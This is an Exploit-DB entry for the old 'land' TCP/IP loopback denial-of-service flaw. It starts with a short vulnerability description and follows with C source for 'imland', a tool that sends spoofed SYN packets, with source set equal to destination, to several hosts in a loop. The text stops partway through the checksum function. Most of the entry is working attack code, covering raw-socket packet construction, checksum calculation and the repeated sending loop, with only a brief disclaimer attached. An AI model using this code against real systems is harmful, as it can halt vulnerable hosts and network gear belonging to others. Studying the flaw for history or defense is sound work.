Exploit-DB #20810
Description: FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 / NetBSD 1 - 'land.c' loopback Denial of Service (1)
Type: dos
Platform: multiple
Date: 1997-11-20
Author: m3lt

Exploit:
/*
source: https://www.securityfocus.com/bid/2666/info

A number of TCP/IP stacks are vulnerable to a "loopback" condition initiated by sending a TCP SYN packet with the source address and port spoofed to equal the destination source and port. When a packet of this sort is received, an infinite loop is initiated and the affected system halts. This is known to affect Windows 95, Windows NT 4.0 up to SP3, Windows Server 2003, Windows XP SP2, Cisco IOS devices & Catalyst switches, and HP-UX up to 11.00.

It is noted that on Windows Server 2003 and XP SP2, the TCP and IP checksums must be correct to trigger the issue.

**Update: It is reported that Microsoft platforms are also prone to this vulnerability. The vendor reports that network routers may not route malformed TCP/IP packets used to exploit this issue. As a result, an attacker may have to discover a suitable route to a target computer, or reside on the target network segment itself before exploitation is possible. 
*/

/*
 * imland - improved multiple land
 *
 * A good spanking session requires several good, hard slaps.
 *
 * This program lands multiple land attacks on multiple hosts as a
 * proof of concept of the oldly discovered but newly resurfaced
 * M$ `land' attack vulnerability. It was written without ill intent to
 * test a large range of servers for vulnerabilities in one go.
 *
 * If the targeted machines freeze up for 5-30 seconds for each packet,
 * that means they are vulnerable.
 *
 * Disclaimer:
 * This program was written without ill intent. It was designed to test
 * and prove the effects of the LAND attack on multiple hosts at once.
 * I am in no way responsible for what you do with this piece of code.
 *
 * Please use it responsibly to test your own servers only.
 *
 */

#define _BSD_SOURCE
#define __FAVOR_BSD

#include <stdio.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>


/* the attack packet */
struct raw_tcp_packet {
	struct ip ip;
	struct tcphdr tcp;
};

/* required to make the TCP checksum correct */
struct tcp_chksum_hdr {
	struct in_addr src;
	struct in_addr dest;
	u_char zero;
	u_char proto;
	u_short len;
	struct tcphdr tcp;
};

/* linked list with all we need, really */
typedef struct target {
	struct sockaddr_in sa;
	struct {
		struct iphdr ip;    /* included here so we can build them once */
		struct tcphdr tcp;  /* and thus transmit a tiny bit faster */
	} pkt;
	struct target *next;
} target;

/** prototypes **/
int send_land(int, struct target *);
void u_sleep(u_int);
int add_target_ip(char *, struct in_addr *, u_short);
u_int get_timevar(const char *);
int add_target(char *);
unsigned short chksum(unsigned short *, int);
void finish(int);
void crash(const char *, ...);
void usage(void);

/** external **/
extern int optind, opterr, optopt;
extern int h_errno;
extern char *optarg;
extern char *__progname;

/** global variables **/
target *list = NULL, *cursor = NULL;
int targets = 0;
int pkt_interval = 0; /* no delay by default */
int pkts = 1, pkts_sent = 0;  /* send one per host by default */
int debug = 0;
u_short defport = 139; /* default port */

/** code start **/
void crash(const char *fmt, ...)
{
	va_list ap;

	printf("%s: ", __progname);

	va_start(ap, fmt);
	vprintf(fmt, ap);
	va_end(ap);

	if(errno) printf(": %s", strerror(errno));
	puts("");

	exit(3);
}

int main(int argc, char **argv)
{
	target *host;
	int sock, foo;

	if((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
		crash("socket()");

	while((foo = getopt(argc, argv, "v:i:p:n:")) != EOF) {
		switch(foo) {
		case 'v':
			debug++;
			break;
		case 'i':
			pkt_interval = get_timevar(optarg);
			break;
		case 'p':
			defport = (u_short)strtoul(optarg, NULL, 0);
			break;
		case 'n':
			pkts = strtoul(optarg, NULL, 0);
			if(debug) printf("Sending %d packets\n", pkts);
			break;
		default:
			add_target(optarg);
			break;
		}
	}

	argv = &argv[optind];
	while(*argv) {
		add_target(*argv);
		argv++;
	}
	
	if(!targets) usage();

	while(!pkts || pkts > pkts_sent) {
		host = list;
		while(host) {
			printf("Sending to %s:%u ... ",
				   inet_ntoa(host->sa.sin_addr),
				   host->sa.sin_port);
			foo = send_land(sock, host);
			if(foo == - 1) printf("failed - %s\n", strerror(errno));
			else printf("ok, landed %d bytes\n", foo);

			if(pkt_interval) u_sleep(pkt_interval);

			host = host->next;
		}
		pkts_sent++;
	}

	return 0;
}

/* build and send the land attack packet */
int send_land(int sock, struct target *host)
{
	struct raw_tcp_packet pkt;
	struct tcp_chksum_hdr tcc;

	memset(&pkt, 0, sizeof(pkt));
	memset(&tcc, 0, sizeof(tcc));

	/* ip options */
	pkt.ip.ip_v = IPVERSION;
	pkt.ip.ip_hl = sizeof(struct iphdr) / 4;
	pkt.ip.ip_tos = 0;
	pkt.ip.ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr));
	pkt.ip.ip_off = htons(IP_DF);
	pkt.ip.ip_ttl = 0xff;
	pkt.ip.ip_p = IPPROTO_TCP;
	pkt.ip.ip_src = pkt.ip.ip_dst = host->sa.sin_addr;
	pkt.ip.ip_sum = chksum((u_short *)&pkt.ip, sizeof(struct iphdr));

	tcc.src = tcc.dest = host->sa.sin_addr;
	tcc.zero = 0;
	tcc.proto = IPPROTO_TCP;
	tcc.len = htons(sizeof(struct tcphdr));

	tcc.tcp.th_sport = tcc.tcp.th_dport = htons(host->sa.sin_port);
	tcc.tcp.th_seq = htons(0x1d1);
	tcc.tcp.th_off = sizeof(struct ip) / 4;
	tcc.tcp.th_flags = TH_SYN;
	tcc.tcp.th_win = htons(512);

	memcpy(&pkt.tcp, &tcc.tcp, sizeof(struct tcphdr));
	pkt.tcp.th_sum = chksum((u_short *)&tcc, sizeof(tcc));
	return sendto(sock, &pkt, sizeof(pkt), 0, (struct sockaddr *)&host->sa,
				  sizeof(struct sockaddr_in));
}

/* calculate checksum */
u_short chksum(u_short *p, int n)
{
	register long sum = 0;

	while(n > 1